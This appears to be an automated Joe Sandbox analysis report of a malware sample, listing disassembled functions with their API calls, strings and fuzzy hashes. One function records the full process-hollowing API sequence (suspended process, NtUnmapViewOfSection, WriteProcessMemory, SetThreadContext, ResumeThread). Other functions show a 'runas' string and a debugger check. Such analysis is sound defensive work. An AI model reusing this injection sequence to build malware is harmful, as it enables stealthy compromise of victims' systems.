Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: edb894f5354d6aa0ca1602b07f079dbd5580f96cdee6100958144f52b3db4f27
Instruction ID: b63c6636b473fab14fe02229a95e6e7f47217308b4dea188a42429bbe99e3ab3
Opcode Fuzzy Hash: edb894f5354d6aa0ca1602b07f079dbd5580f96cdee6100958144f52b3db4f27
Instruction Fuzzy Hash: F5C1D270A20258DFEF14CF65C985BDEBBB9EF44304F508628F905AB281D774AA94CF91

Uniqueness

Uniqueness Score: -1.00%

Function 002E70B0 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 468
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000003E8), ref: 002E7379

Strings

runas, xrefs: 002E6C03

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: Sleep
String ID: runas
API String ID: 3472027048-4000483414
Opcode ID: c40981fd10e405a5893724608b582b5730151029ee633ca43c52a0cb6837f4d3
Instruction ID: 3e7e379d12ade6791393185aa0ad69db9d0a03dadc68eea9fbda9c55166ff565
Opcode Fuzzy Hash: c40981fd10e405a5893724608b582b5730151029ee633ca43c52a0cb6837f4d3
Instruction Fuzzy Hash: 06E17D71A201889BDB0DEF39CD4679DBB76DF41314FA0825CF8059B3C6DB359A908B92

Uniqueness

Uniqueness Score: -1.00%

Function 002ECB40 Relevance: 3.5, APIs: 2, Instructions: 547
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,F139A196,00000000), ref: 002ECB7C

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: FileModuleName
String ID:
API String ID: 514040917-0
Opcode ID: b0cac77ec6802bf5c25de9ba7e6b4577483c63efb6eac5d2d2a2ccf8bd0f2db5
Instruction ID: d155f1910b872e9dc56bd1094c58d2075975302347e4b69da521910908e49bef
Opcode Fuzzy Hash: b0cac77ec6802bf5c25de9ba7e6b4577483c63efb6eac5d2d2a2ccf8bd0f2db5
Instruction Fuzzy Hash: 4712E370D202989BDF26EF69CD067EDBBB5AB05304F9041D8E4086B282DB755B94CF92

Uniqueness

Uniqueness Score: -1.00%

Function 00325045 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 15
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(00000000,?,?,5T2,?,?,00000000,?,00325435,00000000,0000000C), ref: 00325062

Strings

5T2, xrefs: 00325056

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID: 5T2
API String ID: 823142352-3420534713
Opcode ID: 04775dcb0b5c60ed895baa26ffd4263812c6452fc73ec5588161a261ace2f6a6
Instruction ID: 2dbc2a765cb81cd8dabc019c3a9a60558a68e5eacbf793d77292fcc0c42c5927
Opcode Fuzzy Hash: 04775dcb0b5c60ed895baa26ffd4263812c6452fc73ec5588161a261ace2f6a6
Instruction Fuzzy Hash: 6BD06C3201010DBBDF028F84EC46EDA3BAAFB48714F014100BE18A6120C732E861AB90

Uniqueness

Uniqueness Score: -1.00%

Function 0031DFD3 Relevance: 1.6, APIs: 1, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__wsopen_s.LIBCMT ref: 0031E00D

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: 5672bdc02ab2d061d52309ce3d3d9b9c39df7622d6703b6ec97ef250dacde310
Instruction ID: 412b7133974a4fe4c0dfaa2cb93f7560980716615bde148920b75f432c973329
Opcode Fuzzy Hash: 5672bdc02ab2d061d52309ce3d3d9b9c39df7622d6703b6ec97ef250dacde310
Instruction Fuzzy Hash: 5F1145B5A0020AAFCB0ADF58E941ACB7BF8FF48304F054069F808AB251D671EA11CB64

Uniqueness

Uniqueness Score: -1.00%

Function 003252FE Relevance: 1.5, APIs: 1, Instructions: 42
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_free.LIBCMT ref: 00325361

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: d41fb5f2a18ffdeaf543663bdc1ae49a0cfbadd762f996e6220445bf814dc7d0
Instruction ID: 9bb003131f0a823749845353ec365921c2c1b8ab600ff21cc30488ad24846bbb
Opcode Fuzzy Hash: d41fb5f2a18ffdeaf543663bdc1ae49a0cfbadd762f996e6220445bf814dc7d0
Instruction Fuzzy Hash: AF012C72C01159BFCF02EFA89C01AEE7FB5AB08350F144165BA24E6161E6718A64DB91

Uniqueness

Uniqueness Score: -1.00%

Function 002FA940 Relevance: 1.5, APIs: 1, Instructions: 36
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 002EA960: CreateMutexA.KERNEL32(00000000,00000000,00347250), ref: 002EA978
Part of subcall function 002EA960: GetLastError.KERNEL32 ref: 002EA97E

Part of subcall function 002ECB40: GetModuleFileNameA.KERNEL32(00000000,?,00000104,F139A196,00000000), ref: 002ECB7C

Part of subcall function 002E8CB0: GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 002E8CE0

Part of subcall function 002EDD40: GetUserNameA.ADVAPI32(?,?), ref: 002EDEAE

Part of subcall function 002FA8F0: CreateThread.KERNEL32(00000000,00000000,002FA7C0,00000000,00000000,00000000), ref: 002FA906
Part of subcall function 002FA8F0: CreateThread.KERNEL32(00000000,00000000,Function_0001A850,00000000,00000000,00000000), ref: 002FA917
Part of subcall function 002FA8F0: CreateThread.KERNEL32(00000000,00000000,002FA8E0,00000000,00000000,00000000), ref: 002FA928
Part of subcall function 002FA8F0: Sleep.KERNEL32(00007530,?,002FA983), ref: 002FA935

InternetCloseHandle.WININET(00000000), ref: 002FA997

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: Create$NameThread$FileModule$CloseErrorHandleInternetLastMutexSleepUser
String ID:
API String ID: 502925377-0
Opcode ID: 42e020fa94985e2d5ad6a61a2fc8174bd6626e9dd98afeb84bec678d120541c4
Instruction ID: 00e5353b12bd238983b41e86f00281f1492ecd6ecae693e15e1683eb689a56dd
Opcode Fuzzy Hash: 42e020fa94985e2d5ad6a61a2fc8174bd6626e9dd98afeb84bec678d120541c4
Instruction Fuzzy Hash: ECE08C619706880BCA0537BE5C6B62D721C5F81340FE00638BA29961C3EC40A9308EF3

Uniqueness

Uniqueness Score: -1.00%

Function 002E8010 Relevance: 1.5, APIs: 1, Instructions: 13
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(00000000,002EDC6B,?,?,?,?), ref: 002E8019

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 89fc01b9bb06bd34ecfed435fe092b35970e98c5a80ca5e8bf84bf9f9365a637
Instruction ID: bd688ccaa3292677e59afbead94715ce0059d396258198ac02c875650d330918
Opcode Fuzzy Hash: 89fc01b9bb06bd34ecfed435fe092b35970e98c5a80ca5e8bf84bf9f9365a637
Instruction Fuzzy Hash: 95C0223002020087EE0C5F38D25803633099A033657E006C8C0BD8B0E2CB33881FD611

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 002E6990 Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 150injectionthreadmemoryCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 002E69B6
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 002E6A1B
VirtualAlloc.KERNEL32(00000000,00000004,00001000,00000004), ref: 002E6A34
GetThreadContext.KERNEL32(?,00000000), ref: 002E6A4F
ReadProcessMemory.KERNEL32(?, ,?,00000004,00000000), ref: 002E6A73
GetModuleHandleA.KERNEL32(ntdll.dll,NtUnmapViewOfSection), ref: 002E6A8E
GetProcAddress.KERNEL32(00000000), ref: 002E6A95
VirtualAllocEx.KERNEL32(?,?,?,00003000,00000040), ref: 002E6ABD
WriteProcessMemory.KERNEL32(?,00000000,?,?,00000000), ref: 002E6ADE
WriteProcessMemory.KERNEL32(?,?,?,?,00000000,?,?,00000000), ref: 002E6B21
WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000,?,?,00000000), ref: 002E6B5D
SetThreadContext.KERNEL32(?,00000000,?,?,00000000), ref: 002E6B79
ResumeThread.KERNEL32(?,?,?,00000000), ref: 002E6B85
VirtualFree.KERNEL32(?,00000000,00008000), ref: 002E6B93

Strings

NtUnmapViewOfSection, xrefs: 002E6A84
, xrefs: 002E6A68
ntdll.dll, xrefs: 002E6A89

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: Process$Memory$ThreadVirtualWrite$AllocContextModule$AddressCreateFileFreeHandleNameProcReadResume
String ID: $NtUnmapViewOfSection$ntdll.dll
API String ID: 4232606500-1522589568
Opcode ID: cb8906f1188bb81d23c8c9ea4563fb1777ee9e9ab2538f307bf98074cb8f6c5a
Instruction ID: 3468cc6bd4eb0bef5d74b4d1255b7ab102f4637a447101daa0fb09c0e87c6e39
Opcode Fuzzy Hash: cb8906f1188bb81d23c8c9ea4563fb1777ee9e9ab2538f307bf98074cb8f6c5a
Instruction Fuzzy Hash: 45513D71A40218AFDB269F55DC89FEAB7B8FF08705F5000A5F709EA2A0D771A990CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00304883 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 284COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00304986
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 003049D2

Part of subcall function 003060CD: Concurrency::details::GlobalCore::Initialize.LIBCONCRT ref: 003061C0

Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 00304A3E
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00304A5A
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00304AAE
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00304ADB
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 00304B31

Strings

(, xrefs: 00304992

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$GlobalInitialize$Node::$AffinityManager::Resource$CleanupCore::FindGroupInformationRestriction::Topology
String ID: (
API String ID: 2943730970-3887548279
Opcode ID: 4f8843c89cd59c1a71906f9b5b1176b450c248af8110ccaceefb58f8a9b322c4
Instruction ID: f5265f8835904afce8e698a287725f8970b789624b8255b3e3d77527d54f6fbb
Opcode Fuzzy Hash: 4f8843c89cd59c1a71906f9b5b1176b450c248af8110ccaceefb58f8a9b322c4
Instruction Fuzzy Hash: 66B16CB4A01215AFCB1ACF59D9A1B7AB7B8FB44300F15816EE9419B791D730FE40CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00305072 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0030676C: Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 0030677F

Concurrency::details::ResourceManager::PreProcessDynamicAllocationData.LIBCONCRT ref: 00305084

Part of subcall function 0030687F: Concurrency::details::ResourceManager::HandleBorrowedCores.LIBCONCRT ref: 003068A9
Part of subcall function 0030687F: Concurrency::details::ResourceManager::HandleSharedCores.LIBCONCRT ref: 00306918

Concurrency::details::ResourceManager::IncreaseFullyLoadedSchedulerAllocations.LIBCMT ref: 003051B6
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 00305216
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 00305222
Concurrency::details::ResourceManager::DistributeExclusiveCores.LIBCONCRT ref: 0030525D
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 0030527E
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 0030528A
Concurrency::details::ResourceManager::DistributeIdleCores.LIBCONCRT ref: 00305293
Concurrency::details::ResourceManager::ResetGlobalAllocationData.LIBCMT ref: 003052AB

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$AllocationCores$Dynamic$AdjustCoreDataDistributeHandlePrepareReceiversTransfer$AllocationsBorrowedBuffersExclusiveFullyGlobalIdleIncreaseInitializeLoadedProcessResetSchedulerShared
String ID:
API String ID: 2508902052-0
Opcode ID: 7910e7dfc45504e0e4b3b7d115950643436d47eaebe44e5419cd0372f6505032
Instruction ID: 78f8a977485c47f15771216a50d94844e60004352611f8a4cba596364195b8bc
Opcode Fuzzy Hash: 7910e7dfc45504e0e4b3b7d115950643436d47eaebe44e5419cd0372f6505032
Instruction Fuzzy Hash: 02815B71E016259FCF1ACFA9C9A0A6EB7B5FF48304B1646ADD405AB785C730AD52CF80

Uniqueness

Uniqueness Score: -1.00%

Function 003126B9 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 139COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 003126F2

Part of subcall function 0030C9A0: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 0030C9C1

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00312758
Concurrency::details::WorkItem::ResolveToken.LIBCONCRT ref: 00312770
Concurrency::details::WorkItem::BindTo.LIBCONCRT ref: 0031277D

Part of subcall function 00312220: Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 00312248
Part of subcall function 00312220: Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 003122E0
Part of subcall function 00312220: Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 003122EA
Part of subcall function 00312220: Concurrency::location::_Assign.LIBCMT ref: 0031231E
Part of subcall function 00312220: Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 00312326

Strings

3/, xrefs: 003126DD, 00312733, 0031279A, 003127FC, 00312835

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::Context$Scheduler$EventInternalItem::ProcessorVirtualWork$ActiveAssignBindCommitConcurrency::location::_GroupPointsReclaimResolveRunnableSafeScheduleSegmentThrowTokenTraceTrigger
String ID: 3/
API String ID: 2363638799-2584162468
Opcode ID: 00681bf7050d0d9d0317030ba957338025a829efb4fbc09beb7a44dfafd53707
Instruction ID: 185369a563ed13a2268229a875b0800dc592036975afaa05e1c4e9b8fe4f89e6
Opcode Fuzzy Hash: 00681bf7050d0d9d0317030ba957338025a829efb4fbc09beb7a44dfafd53707
Instruction Fuzzy Hash: 73516F35A00205DBCF1ADF50C895BAFB775AF48714F1540A9E9426B2D2CB30AE95CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 002E6080 Relevance: 7.8, APIs: 5, Instructions: 253COMMON

Download Yara Rule

APIs

GetUserNameA.ADVAPI32(?,?), ref: 002E60DA
LookupAccountNameA.ADVAPI32(00000000,?,?,000000FF,?,?,?), ref: 002E6120
GetSidIdentifierAuthority.ADVAPI32(?), ref: 002E612D
GetSidSubAuthorityCount.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 002E6241
GetSidSubAuthority.ADVAPI32(?,00000000), ref: 002E6268

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: Authority$Name$AccountCountIdentifierLookupUser
String ID:
API String ID: 4230999276-0
Opcode ID: 567d503a0d16fb49fb4d65faa5dbe15ae49d8178046f0657b2bec8f64904c0d9
Instruction ID: b40c6387459176a4122e64849218dc107f596dcb6c56a98f9a2d8e6da9088155
Opcode Fuzzy Hash: 567d503a0d16fb49fb4d65faa5dbe15ae49d8178046f0657b2bec8f64904c0d9
Instruction Fuzzy Hash: 1091D5B1A1015C8BDB29DF29CC89BEDB779EB45304F8045E9E60997282DB309FD48F64

Uniqueness

Uniqueness Score: -1.00%

Function 0030065A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32(?,003009C2,?,00000003,00000003,?,003009F7,?,?,?,00000003,00000003,?,002FFF6D,y0.,00000001), ref: 00300673
GetSystemTimeAsFileTime.KERNEL32(?,?,?,003009C2,?,00000003,00000003,?,003009F7,?,?,?,00000003,00000003,?,002FFF6D), ref: 00300677

Strings

3/, xrefs: 0030066D

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: Time$FileSystem$Precise
String ID: 3/
API String ID: 743729956-2584162468
Opcode ID: 3c633c0ec3c019d5dc91c589280236fce0711413087bec744697501c73b57570
Instruction ID: 88c223429b1184d379e10389265b980596e4a243ecffbdb40042d9bdaf61628b
Opcode Fuzzy Hash: 3c633c0ec3c019d5dc91c589280236fce0711413087bec744697501c73b57570
Instruction Fuzzy Hash: 77D0A93290212CD78A072B80AC04AEE7F2DEA44B60F050012E94A87120CB2268608BC0

Uniqueness

Uniqueness Score: -1.00%

Function 0031A4ED Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 0031A5E5
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 0031A5EF
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 0031A5FC

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
